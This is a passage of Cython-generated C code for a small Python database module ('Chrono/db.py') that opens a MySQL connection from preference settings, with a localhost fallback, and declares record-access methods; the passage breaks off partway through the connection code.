= "pref"; static const char __pyx_k_real[] = "real"; static const char __pyx_k_self[] = "self"; static const char __pyx_k_test[] = "__test__"; static const char __pyx_k_time[] = "time"; static const char __pyx_k_user[] = "user"; static const char __pyx_k_utf8[] = "utf8"; static const char __pyx_k_WHERE[] = " WHERE "; static const char __pyx_k_class[] = "__class__"; static const char __pyx_k_close[] = "close"; static const char __pyx_k_float[] = "float"; static const char __pyx_k_index[] = "_index"; static const char __pyx_k_print[] = "print"; static const char __pyx_k_range[] = "range"; static const char __pyx_k_split[] = "split"; static const char __pyx_k_append[] = "append"; static const char __pyx_k_bigint[] = "bigint"; static const char __pyx_k_cursor[] = "cursor"; static const char __pyx_k_data_2[] = "data"; static const char __pyx_k_double[] = "double"; static const char __pyx_k_import[] = "__import__"; static const char __pyx_k_module[] = "__module__"; static const char __pyx_k_MySQLdb[] = "MySQLdb"; static const char __pyx_k_charset[] = "charset"; static const char __pyx_k_connect[] = "connect"; static const char __pyx_k_execute[] = "execute"; static const char __pyx_k_index_2[] = "index"; static const char __pyx_k_localid[] = "localid"; static const char __pyx_k_prepare[] = "__prepare__"; static const char __pyx_k_pymysql[] = "pymysql"; static const char __pyx_k_wclause[] = "wclause"; static const char __pyx_k_dataBase[] = "dataBase"; static const char __pyx_k_fetchall[] = "fetchall"; static const char __pyx_k_fetchone[] = "fetchone"; static const char __pyx_k_modified[] = "modified"; static const char __pyx_k_qualname[] = "__qualname__"; static const char __pyx_k_Chrono_db[] = "Chrono.db"; static const char __pyx_k_LIMIT_d_1[] = " LIMIT %d,1"; static const char __pyx_k_db___init[] = "db.__init__"; static const char __pyx_k_getRecord[] = "getRecord"; static const char __pyx_k_localhost[] = "localhost"; static const char __pyx_k_metaclass[] = "__metaclass__"; static const char __pyx_k_newRecord[] = "newRecord"; static const char __pyx_k_flag_local[] = "flag_local"; static const char __pyx_k_saveRecord[] = "saveRecord"; static const char __pyx_k_Preferences[] = "Preferences"; static const char __pyx_k_SELECT_FROM[] = "SELECT * FROM "; static const char __pyx_k_db_getRecord[] = "db.getRecord"; static const char __pyx_k_db_newRecord[] = "db.newRecord"; static const char __pyx_k_getDbVersion[] = "getDbVersion"; static const char __pyx_k_db_saveRecord[] = "db.saveRecord"; static const char __pyx_k_getNextRecord[] = "getNextRecord"; static const char __pyx_k_getPrevRecord[] = "getPrevRecord"; static const char __pyx_k_SELECT_VERSION[] = "SELECT VERSION()"; static const char __pyx_k_db_getDbVersion[] = "db.getDbVersion"; static const char __pyx_k_db_getNextRecord[] = "db.getNextRecord"; static const char __pyx_k_db_getPrevRecord[] = "db.getPrevRecord"; static const char __pyx_k_install_as_MySQLdb[] = "install_as_MySQLdb"; static const char __pyx_k_getTableDescription[] = "getTableDescription"; static const char __pyx_k_db_getTableDescription[] = "db.getTableDescription"; static const char __pyx_k_Error_openning_dataBase[] = "Error openning dataBase"; static const char __pyx_k_home_thor_Devel_Transponder_Chr[] = "/home/thor/Devel/Transponder/Chrono/db.py"; static const char __pyx_k_ERROR_Getting_the_table_descript[] = "ERROR: Getting the table descriptio"; static const char __pyx_k_ERROR_Opening_database_connextio[] = "ERROR Opening database connextion, Please set the host in Preferences File"; static PyObject *__pyx_n_s_Chrono_db; static PyObject *__pyx_kp_u_DESC; static PyObject *__pyx_kp_u_ERROR_Getting_the_table_descript; static PyObject *__pyx_kp_u_ERROR_Opening_database_connextio; static PyObject *__pyx_kp_u_Error_openning_dataBase; static PyObject *__pyx_kp_u_LIMIT_d_1; static PyObject *__pyx_n_s_MySQLdb; static PyObject *__pyx_n_s_Preferences; static PyObject *__pyx_kp_u_SELECT_FROM; static PyObject *__pyx_kp_u_SELECT_VERSION; static PyObject *__pyx_kp_u_WHERE; static PyObject *__pyx_kp_u__10; static PyObject *__pyx_kp_u__8; static PyObject *__pyx_n_s_append; static PyObject *__pyx_n_u_bigint; static PyObject *__pyx_n_s_charset; static PyObject *__pyx_n_s_class; static PyObject *__pyx_n_s_close; static PyObject *__pyx_n_s_connect; static PyObject *__pyx_n_s_cursor; static PyObject *__pyx_n_s_d; static PyObject *__pyx_n_s_data; static PyObject *__pyx_n_s_dataBase; static PyObject *__pyx_n_s_data_2; static PyObject *__pyx_n_s_db; static PyObject *__pyx_n_u_db; static PyObject *__pyx_n_s_db___init; static PyObject *__pyx_n_s_db_getDbVersion; static PyObject *__pyx_n_s_db_getNextRecord; static PyObject *__pyx_n_s_db_getPrevRecord; static PyObject *__pyx_n_s_db_getRecord; static PyObject *__pyx_n_s_db_getTableDescription; static PyObject *__pyx_n_s_db_newRecord; static PyObject *__pyx_n_s_db_saveRecord; static PyObject *__pyx_n_s_desc; static PyObject *__pyx_n_s_doc; static PyObject *__pyx_n_u_double; static PyObject *__pyx_n_s_e; static PyObject *__pyx_n_s_e1; static PyObject *__pyx_n_s_e2; static PyObject *__pyx_n_s_execute; static PyObject *__pyx_n_s_exit; static PyObject *__pyx_n_s_fetchall; static PyObject *__pyx_n_s_fetchone; static PyObject *__pyx_n_s_flag_local; static PyObject *__pyx_n_u_float; static PyObject *__pyx_n_s_getDbVersion; static PyObject *__pyx_n_s_getNextRecord; static PyObject *__pyx_n_s_getPrevRecord; static PyObject *__pyx_n_s_getRecord; static PyObject *__pyx_n_s_getTableDescription; static PyObject *__pyx_kp_s_home_thor_Devel_Transponder_Chr; static PyObject *__pyx_n_u_host; static PyObject *__pyx_n_s_i; static PyObject *__pyx_n_u_id; static PyObject *__pyx_n_s_import; static PyObject *__pyx_n_s_indb; static PyObject *__pyx_n_s_index; static PyObject *__pyx_n_s_index_2; static PyObject *__pyx_n_s_init; static PyObject *__pyx_n_s_install_as_MySQLdb; static PyObject *__pyx_n_u_int; static PyObject *__pyx_n_s_link; static PyObject *__pyx_n_u_localhost; static PyObject *__pyx_n_s_localid; static PyObject *__pyx_n_s_main; static PyObject *__pyx_n_s_metaclass; static PyObject *__pyx_n_s_modified; static PyObject *__pyx_n_s_module; static PyObject *__pyx_n_s_n; static PyObject *__pyx_n_s_name; static PyObject *__pyx_n_s_newRecord; static PyObject *__pyx_n_u_pass; static PyObject *__pyx_n_s_pref; static PyObject *__pyx_n_s_prepare; static PyObject *__pyx_n_s_print; static PyObject *__pyx_n_s_pymysql; static PyObject *__pyx_n_s_qualname; static PyObject *__pyx_n_s_r; static PyObject *__pyx_n_s_range; static PyObject *__pyx_n_u_real; static PyObject *__pyx_n_s_saveRecord; static PyObject *__pyx_n_s_self; static PyObject *__pyx_n_s_split; static PyObject *__pyx_n_s_t; static PyObject *__pyx_n_s_test; static PyObject *__pyx_n_s_time; static PyObject *__pyx_n_u_user; static PyObject *__pyx_n_u_utf8; static PyObject *__pyx_n_s_wclause; static PyObject *__pyx_pf_6Chrono_2db_2db___init__(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_6Chrono_2db_2db_2newRecord(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_6Chrono_2db_2db_4getDbVersion(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_6Chrono_2db_2db_6getTableDescription(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_6Chrono_2db_2db_8getRecord(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_wclause, PyObject *__pyx_v_index); /* proto */ static PyObject *__pyx_pf_6Chrono_2db_2db_10getNextRecord(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_6Chrono_2db_2db_12getPrevRecord(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_6Chrono_2db_2db_14saveRecord(CYTHON_UNUSED PyObject *__pyx_self, CYTHON_UNUSED PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_float_0_0; static PyObject *__pyx_float_1e7; static PyObject *__pyx_int_0; static PyObject *__pyx_int_1; static PyObject *__pyx_int_1180591620717411303424; static PyObject *__pyx_int_neg_1; static PyObject *__pyx_tuple_; static PyObject *__pyx_tuple__2; static PyObject *__pyx_tuple__3; static PyObject *__pyx_tuple__4; static PyObject *__pyx_tuple__5; static PyObject *__pyx_tuple__6; static PyObject *__pyx_tuple__7; static PyObject *__pyx_tuple__9; static PyObject *__pyx_tuple__11; static PyObject *__pyx_tuple__12; static PyObject *__pyx_tuple__14; static PyObject *__pyx_tuple__16; static PyObject *__pyx_tuple__18; static PyObject *__pyx_tuple__20; static PyObject *__pyx_tuple__22; static PyObject *__pyx_tuple__23; static PyObject *__pyx_tuple__25; static PyObject *__pyx_tuple__27; static PyObject *__pyx_codeobj__13; static PyObject *__pyx_codeobj__15; static PyObject *__pyx_codeobj__17; static PyObject *__pyx_codeobj__19; static PyObject *__pyx_codeobj__21; static PyObject *__pyx_codeobj__24; static PyObject *__pyx_codeobj__26; static PyObject *__pyx_codeobj__28; /* "Chrono/db.py":19 * flag_local = (1<<70) # bit 70 is set, to get local id * * def __init__(self): # TODO: abstrac the database driver, to be independent # <<<<<<<<<<<<<< * if self._link == None: # if no link to database * try: */ /* Python wrapper */ static PyObject *__pyx_pw_6Chrono_2db_2db_1__init__(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_6Chrono_2db_2db_1__init__ = {"__init__", (PyCFunction)__pyx_pw_6Chrono_2db_2db_1__init__, METH_O, 0}; static PyObject *__pyx_pw_6Chrono_2db_2db_1__init__(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__init__ (wrapper)", 0); __pyx_r = __pyx_pf_6Chrono_2db_2db___init__(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_6Chrono_2db_2db___init__(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_v_e1 = NULL; PyObject *__pyx_v_e2 = NULL; PyObject *__pyx_v_d = NULL; PyObject *__pyx_v_r = NULL; PyObject *__pyx_v_e = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; int __pyx_t_3; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; PyObject *__pyx_t_8 = NULL; PyObject *__pyx_t_9 = NULL; PyObject *__pyx_t_10 = NULL; int __pyx_t_11; PyObject *__pyx_t_12 = NULL; PyObject *__pyx_t_13 = NULL; PyObject *__pyx_t_14 = NULL; PyObject *__pyx_t_15 = NULL; PyObject *__pyx_t_16 = NULL; PyObject *__pyx_t_17 = NULL; int __pyx_t_18; char const *__pyx_t_19; PyObject *__pyx_t_20 = NULL; PyObject *__pyx_t_21 = NULL; PyObject *__pyx_t_22 = NULL; PyObject *__pyx_t_23 = NULL; PyObject *__pyx_t_24 = NULL; PyObject *__pyx_t_25 = NULL; char const *__pyx_t_26; Py_ssize_t __pyx_t_27; PyObject *(*__pyx_t_28)(PyObject *); int __pyx_t_29; char const *__pyx_t_30; __Pyx_RefNannySetupContext("__init__", 0); /* "Chrono/db.py":20 * * def __init__(self): # TODO: abstrac the database driver, to be independent * if self._link == None: # if no link to database # <<<<<<<<<<<<<< * try: * self._link = MySQLdb.connect( # try to open a connection to the database */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_link); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyObject_RichCompare(__pyx_t_1, Py_None, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_3 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_3 < 0)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_3) { /* "Chrono/db.py":21 * def __init__(self): # TODO: abstrac the database driver, to be independent * if self._link == None: # if no link to database * try: # <<<<<<<<<<<<<< * self._link = MySQLdb.connect( # try to open a connection to the database * pref.dataBase['host'], # hostname from preference */ { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_4, &__pyx_t_5, &__pyx_t_6); __Pyx_XGOTREF(__pyx_t_4); __Pyx_XGOTREF(__pyx_t_5); __Pyx_XGOTREF(__pyx_t_6); /*try:*/ { /* "Chrono/db.py":22 * if self._link == None: # if no link to database * try: * self._link = MySQLdb.connect( # try to open a connection to the database # <<<<<<<<<<<<<< * pref.dataBase['host'], # hostname from preference * pref.dataBase['user'], # database username */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_MySQLdb); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_connect); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 22, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/db.py":23 * try: * self._link = MySQLdb.connect( # try to open a connection to the database * pref.dataBase['host'], # hostname from preference # <<<<<<<<<<<<<< * pref.dataBase['user'], # database username * pref.dataBase['pass'], # database password */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_pref); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 23, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_dataBase); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 23, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_GetItem(__pyx_t_7, __pyx_n_u_host); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 23, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Chrono/db.py":24 * self._link = MySQLdb.connect( # try to open a connection to the database * pref.dataBase['host'], # hostname from preference * pref.dataBase['user'], # database username # <<<<<<<<<<<<<< * pref.dataBase['pass'], # database password * pref.dataBase['db'], # database to use */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_pref); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 24, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_dataBase); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 24, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PyObject_GetItem(__pyx_t_8, __pyx_n_u_user); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 24, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; /* "Chrono/db.py":25 * pref.dataBase['host'], # hostname from preference * pref.dataBase['user'], # database username * pref.dataBase['pass'], # database password # <<<<<<<<<<<<<< * pref.dataBase['db'], # database to use * charset='utf8' # charset must be utf8 */ __pyx_t_8 = __Pyx_GetModuleGlobalName(__pyx_n_s_pref); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 25, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_dataBase); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 25, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = PyObject_GetItem(__pyx_t_9, __pyx_n_u_pass); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 25, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; /* "Chrono/db.py":26 * pref.dataBase['user'], # database username * pref.dataBase['pass'], # database password * pref.dataBase['db'], # database to use # <<<<<<<<<<<<<< * charset='utf8' # charset must be utf8 * ) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_pref); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 26, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_dataBase); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 26, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = PyObject_GetItem(__pyx_t_10, __pyx_n_u_db); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 26, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; /* "Chrono/db.py":22 * if self._link == None: # if no link to database * try: * self._link = MySQLdb.connect( # try to open a connection to the database # <<<<<<<<<<<<<< * pref.dataBase['host'], # hostname from preference * pref.dataBase['user'], # database username */ __pyx_t_10 = PyTuple_New(4); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 22, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_10, 1, __pyx_t_7); __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_10, 2, __pyx_t_8); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_10, 3, __pyx_t_9); __pyx_t_2 = 0; __pyx_t_7 = 0; __pyx_t_8 = 0; __pyx_t_9 = 0; /* "Chrono/db.py":27 * pref.dataBase['pass'], # database password * pref.dataBase['db'], # database to use * charset='utf8' # charset must be utf8 # <<<<<<<<<<<<<< * ) * except Exception as e1: */ __pyx_t_9 = PyDict_New(); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 27, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_9); if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_charset, __pyx_n_u_utf8) < 0) __PYX_ERR(0, 27, __pyx_L4_error) /* "Chrono/db.py":22 * if self._link == None: # if no link to database * try: * self._link = MySQLdb.connect( # try to open a connection to the database # <<<<<<<<<<<<<< * pref.dataBase['host'], # hostname from preference * pref.dataBase['user'], # database username */ __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_10, __pyx_t_9); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 22, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_link, __pyx_t_8) < 0) __PYX_ERR(0, 22, __pyx_L4_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; /* "Chrono/db.py":21 * def __init__(self): # TODO: abstrac the database driver, to be independent * if self._link == None: # if no link to database * try: # <<<<<<<<<<<<<< * self._link = MySQLdb.connect( # try to open a connection to the database * pref.dataBase['host'], # hostname from preference */ } __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; goto __pyx_L11_try_end; __pyx_L4_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; /* "Chrono/db.py":29 * charset='utf8' # charset must be utf8 * ) * except Exception as e1: # <<<<<<<<<<<<<< * try: # if error opening, try localhost as host * self._link = MySQLdb.connect( # try to open a connection to the database */ __pyx_t_11 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_11) { __Pyx_AddTraceback("Chrono.db.db.__init__", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_8, &__pyx_t_9, &__pyx_t_10) < 0) __PYX_ERR(0, 29, __pyx_L6_except_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GOTREF(__pyx_t_9); __Pyx_GOTREF(__pyx_t_10); __Pyx_INCREF(__pyx_t_9); __pyx_v_e1 = __pyx_t_9; /*try:*/ { /* "Chrono/db.py":30 * ) * except Exception as e1: * try: # if error opening, try localhost as host # <<<<<<<<<<<<<< * self._link = MySQLdb.connect( # try to open a connection to the database * pref.dataBase["localhost"], # hostname from preference */ { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_12, &__pyx_t_13, &__pyx_t_14); __Pyx_XGOTREF(__pyx_t_12); __Pyx_XGOTREF(__pyx_t_13); __Pyx_XGOTREF(__pyx_t_14); /*try:*/ { /* "Chrono/db.py":31 * except Exception as e1: * try: # if error opening, try localhost as host * self._link = MySQLdb.connect( # try to open a connection to the database # <<<<<<<<<<<<<< * pref.dataBase["localhost"], # hostname from preference * pref.dataBase['user'], # database username */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_MySQLdb); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 31, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_connect); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 31, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/db.py":32 * try: # if error opening, try localhost as host * self._link = MySQLdb.connect( # try to open a connection to the database * pref.dataBase["localhost"], # hostname from preference # <<<<<<<<<<<<<< * pref.dataBase['user'], # database username * pref.dataBase['pass'], # database password */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_pref); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 32, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_dataBase); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyObject_GetItem(__pyx_t_2, __pyx_n_u_localhost); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 32, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/db.py":33 * self._link = MySQLdb.connect( # try to open a connection to the database * pref.dataBase["localhost"], # hostname from preference * pref.dataBase['user'], # database username # <<<<<<<<<<<<<< * pref.dataBase['pass'], # database password * pref.dataBase['db'], # database to use */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_pref); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_dataBase); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 33, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_GetItem(__pyx_t_15, __pyx_n_u_user); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; /* "Chrono/db.py":34 * pref.dataBase["localhost"], # hostname from preference * pref.dataBase['user'], # database username * pref.dataBase['pass'], # database password # <<<<<<<<<<<<<< * pref.dataBase['db'], # database to use * charset='utf8' # charset must be utf8 */ __pyx_t_15 = __Pyx_GetModuleGlobalName(__pyx_n_s_pref); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 34, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_15); __pyx_t_16 = __Pyx_PyObject_GetAttrStr(__pyx_t_15, __pyx_n_s_dataBase); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 34, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; __pyx_t_15 = PyObject_GetItem(__pyx_t_16, __pyx_n_u_pass); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 34, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; /* "Chrono/db.py":35 * pref.dataBase['user'], # database username * pref.dataBase['pass'], # database password * pref.dataBase['db'], # database to use # <<<<<<<<<<<<<< * charset='utf8' # charset must be utf8 * ) */ __pyx_t_16 = __Pyx_GetModuleGlobalName(__pyx_n_s_pref); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 35, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_16); __pyx_t_17 = __Pyx_PyObject_GetAttrStr(__pyx_t_16, __pyx_n_s_dataBase); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 35, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_17); __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; __pyx_t_16 = PyObject_GetItem(__pyx_t_17, __pyx_n_u_db); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 35, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; /* "Chrono/db.py":31 * except Exception as e1: * try: # if error opening, try localhost as host * self._link = MySQLdb.connect( # try to open a connection to the database # <<<<<<<<<<<<<< * pref.dataBase["localhost"], # hostname from preference * pref.dataBase['user'], # database username */ __pyx_t_17 = PyTuple_New(4); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 31, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_17); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_17, 0, __pyx_t_1); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_17, 1, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_15); PyTuple_SET_ITEM(__pyx_t_17, 2, __pyx_t_15); __Pyx_GIVEREF(__pyx_t_16); PyTuple_SET_ITEM(__pyx_t_17, 3, __pyx_t_16); __pyx_t_1 = 0; __pyx_t_2 = 0; __pyx_t_15 = 0; __pyx_t_16 = 0; /* "Chrono/db.py":36 * pref.dataBase['pass'], # database password * pref.dataBase['db'], # database to use * charset='utf8' # charset must be utf8 # <<<<<<<<<<<<<< * ) * except Exception as e2: */ __pyx_t_16 = PyDict_New(); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 36, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_16); if (PyDict_SetItem(__pyx_t_16, __pyx_n_s_charset, __pyx_n_u_utf8) < 0) __PYX_ERR(0, 36, __pyx_L19_error) /* "Chrono/db.py":31 * except Exception as e1: * try: # if error opening, try localhost as host * self._link = MySQLdb.connect( # try to open a connection to the database # <<<<<<<<<<<<<< * pref.dataBase["localhost"], # hostname from preference * pref.dataBase['user'], # database username */ __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_17, __pyx_t_16); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 31, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_link, __pyx_t_15) < 0) __PYX_ERR(0, 31, __pyx_L19_error) __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; /* "Chrono/db.py":30 * ) * except Exception as e1: * try: # if error opening, try localhost as host # <<<<<<<<<<<<<< * self._link = MySQLdb.connect( # try to open a connection to the database * pref.dataBase["localhost"], # hostname from preference */ } __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; goto __pyx_L26_try_end; __pyx_L19_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; 